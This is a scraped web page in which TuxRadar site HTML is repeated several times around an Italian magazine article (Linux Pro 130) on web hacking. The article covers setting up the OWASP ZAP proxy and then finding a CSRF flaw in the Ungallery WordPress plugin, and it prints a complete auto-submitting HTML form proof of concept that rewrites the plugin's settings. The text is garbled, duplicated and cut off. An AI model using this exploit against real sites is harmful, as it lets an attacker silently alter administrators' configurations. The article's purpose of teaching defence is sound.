active”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-converted-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chia-mano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attac-cano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numer-osi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfor-tuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/pod-cast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-convert-ed-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chiamano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.

Hacking

8 Linux pro 130

Scoprire le vulnerabilitàCome individuare e sfruttare un punto debole del vostro sito

Se avete dato un’occhiata a Lxp Vulnerable Wordpress VM, potreste aver intuito che è facile sfruttare le vulnerabilità dopo aver scoperto dove sono; forse però

vi state chiedendo come trovarle. per rispondere, proveremo a individuare e a sfruttare una nuova vulnerabilità sul nostro sito.prima di tutto abbiamo installato un proxy d’attacco. Si tratta di uno strumento che intercetta le richieste HTTp dal vostro

browser e le usa per creare una mappa del sito che state visitando. in questo modo potete farvi un’idea di che cosa state

attaccando, anche qualora non abbiate accesso al codice sorgente; avrete inoltre un quadro di quali informazioni vengono scambiate tra il server e il browser. noi abbiamo scelto ZAp di oWASp (disponibile su http://code.google.com/p/zaproxy e sul DVD). per usarlo basta decomprimerlo e avviarlo (non occorre installazione) con: tar zxvf ZAp_2.0.0_Linux.tar.gz cd ZAp_2.0.0 ./zap.shLa versione 2.0.0 richiede Java 1.7 o superiore. Se ne avete una versione precedente (come quella predefinita su ubuntu 12.04) potrete usare la versione 1.4.1 di ZAp oppure ottenere manualmente una versione più recente di Java. Sul nostro ubuntu 12.04 abbiamo installato il pacchetto openjdk-7-jre, modificando in questo modo l’ultima riga di zap.sh: exec /usr/lib/jvm/java-7-openjdk-i386/bin/java ${JMEM}- xx:permSize=256M -jar “${BASEDir}/zap.jar” org.zaproxy.

zap.ZAp $*Ciò avvierà il proxy che utilizza la porta 8080, perciò dovrete impostare il browser in modo che convogli i dati attraverso quest’ultima. in Firefox dovrete selezionare Modifica ➠ Preferenze e quindi Avanzate ➠ Rete e regolare il pulsante su Configurazione manuale dei proxy indicando localhost alla voce Proxy HTTP e 8080 alla voce Porta. ora, per ogni pagina visitata vedrete una o più voci in Zap. Quest’ultimo tenterà inoltre di aiutarvi segnalando in giallo o in rosso (a seconda del rischio presunto) tutti gli elementi che ritiene vulnerabili. Queste segnalazioni vanno prese con un pizzico di sale: molte pagine segnalate non sono vulnerabili e molte che lo sono non vengono segnalate (è un problema comune a tutti i sistemi automatici di scansione di sicurezza che abbiamo usato). predisposto il nostro software, possiamo passare all’attacco. La prima fase di qualsiasi test di penetrazione consiste nel raccogliere informazioni. ZAp dispone di strumenti per la scansione automatica del sito ma conviene iniziare con una scansione manuale. Si tratta cioè di sfogliare il sito con il browser, mentre ZAp lo cataloga. più a fondo vi spingerete nel sito, più informazioni raccoglierete. Esplorando l’applicazione occorre cercare vettori d’attacco. Questi ultimi, in sostanza, possono essere costituiti da qualsiasi tramite per il trasferimento di informazioni verso il sito. in HTTp ne esistono due tipi: i parametri passati in corrispondenza di richiesta GET (ciò che segue i punti interrogativi negli urL) e le richieste poST (più difficili da rilevare senza un proxy come ZAp ma elencati nell’area Request). Entrambi possono essere usati per inviare qualsiasi informazione desiderata. Come illustrato dagli esempi di attacco al blog Wordpress, se il sito non convalida

1 Qui abbiamo rilevato un nonce mancante che ci ha permesso di sfruttare il form

“La prima fase di qualsiasi test di penetrazione è la raccolta di informazioni”

LXP130_06-13_webapp 8 06/06/13 15:29

Page 11: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-converted-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chia-mano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attac-cano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numer-osi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfor-tuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/pod-cast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-convert-ed-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chiamano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.

Hacking

Linux pro 130 9

Scoprire le vulnerabilitàadeguatamente questi input possono a volte insinuarsi dati dannosi accuratamente confezionati. una volta tracciato un quadro completo della vittima, potrete iniziare a cercare il punto in cui attaccare. Anche su un sito Wordpress semplice come il nostro i potenziali vettori sono centinaia ma la maggior parte di essi non è vulnerabile. L’arte della violazione dei siti dipende in parte dalla capacità di individuare i vettori su cui concentrarsi. per esempio, potreste provare ad attaccare il parametro page_id presente sulla maggior parte delle pagine: ma è così essenziale per Wordpress che è stato sottoposto a numerosi controlli. potrebbe anche essere vulnerabile ma probabilmente costituisce un punto di accesso complicato. Conviene andare alla ricerca di punti deboli nelle aree meno usate. i componenti aggiuntivi rappresentano storicamente punti di attacco più agevoli dell’applicazione principale.

Cross Site Request ForgeryAbbiamo notato che nell’area Alert ZAp aveva segnalato che diverse pagine erano vulnerabili agli attacchi Cross Site Request Forgery (CSrF). Si tratta di un tipo di attacco che induce un’app Web ad accettare un input creando un altro sito che mima la richiesta HTTp dell’app Web. inducendo quindi un utente autenticato ad aprire il sito dannoso, sarà possibile fare sì che il suo browser invii il cookie di autenticazione, il che permetterà che la richiesta HTTp dannosa venga eseguita dall’utente (non preoccupatevi se non è tutto chiaro: lo diverrà via via che esamineremo l’attacco). Di norma, Wordpress blocca questo tipo di attacco mediante un nonce. Si tratta di un numero casuale inviato al browser al momento della creazione del form. Se lo stesso numero viene rinviato al server insieme ai dati del form, il server ha la certezza che il form sia stato inviato da un utente del sito. in caso contrario, il server saprà che il form è stato inviato da un altro sito e scarterà i dati. Abbiamo notato però che una delle pagine era priva di nonce. Sembrava trattarsi di una normale richiesta HTTp poST convalidata mediante il cookie. Di conseguenza, qualsiasi form HTML (a prescindere dal sito di appartenenza) avrebbe potuto inviare dati a questa parte dell’applicazione: un bersaglio perfetto per un attacco CSrF. La pagina in questione era quella delle impostazioni per Ungallery (vedi richiesta alla Fig.1). il trucco stava nel creare una nuova pagina che generasse un’identica richiesta HTTp. Si trattava di una richiesta poST, che è più facile da simulare mediante un form HTML. Abbiamo così creato un nuovo file che conteneva quanto segue: <html> <head> <title>test per csrf in ungallery</title> </head> <body> <form action=“http://site-url/wp-admin/options-general. php?page=ungallerysettings” method=“poST”> <input type=“hidden” name=“mt_submit_hidden” value=“Y”> <input type=“hidden” name=“images_path” value=“%2Froot%2Fimages%2F”> <input type=“hidden” name=“uri” value=“http%3A%2F%2F 192.168.133.143%2F”> <input type=“hidden” name=“gallery” value=“%3Fpage_id%3D9”> <input type=“hidden” name=“cache_dir” value=“%2Fvar%2F www%2Fwordpress%2Fwp-content%2Fcache%2F”> <input type=“hidden” name=“columns” value=“5”> <input type=“hidden” name=“thumbnail” value=“190”>

<input type=“hidden” name=“browse_view” value=“440”> <input type=“hidden” name=“hidden” value=“hidden”> <input type=“hidden” name=“gallery2” value=“”> <input type=“hidden” name=“images2_path” value=“”> <input type=“hidden” name=“gallery3” value=“”> <input type=“hidden” name=“images3_path” value=“”> <input type=“hidden” name=“gallery4” value=“”> <input type=“hidden” name=“images4_path” value=“”> <input type=“hidden” name=“gallery5” value=“”> <input type=“hidden” name=“images5_path” value=“”> <input type=“hidden” name=“gallery6” value=“”> <input type=“hidden” name=“images6_path” value=“”> <input type=“hidden” name=“invia” value=“Save+Changes”> </form> <script>document.forms[0].submit();</script> </body> </head>Come vedete, si tratta di un nuovo form HTML che invia dati alla pagina delle impostazioni ungallery. Mancando un nonce, ungallery accetterà automaticamente i dati se disporranno del cookie giusto. Se un utente con privilegi da amministratore aprirà il file, potrà alterare le impostazioni. in un attacco reale, questo si potrebbe fare inviando all’amministratore una e-mail con un link allettante o magari abbandonando in un luogo pubblico una chiavetta uSB con uno script ad avvio automatico. naturalmente questo non è un attacco dei più 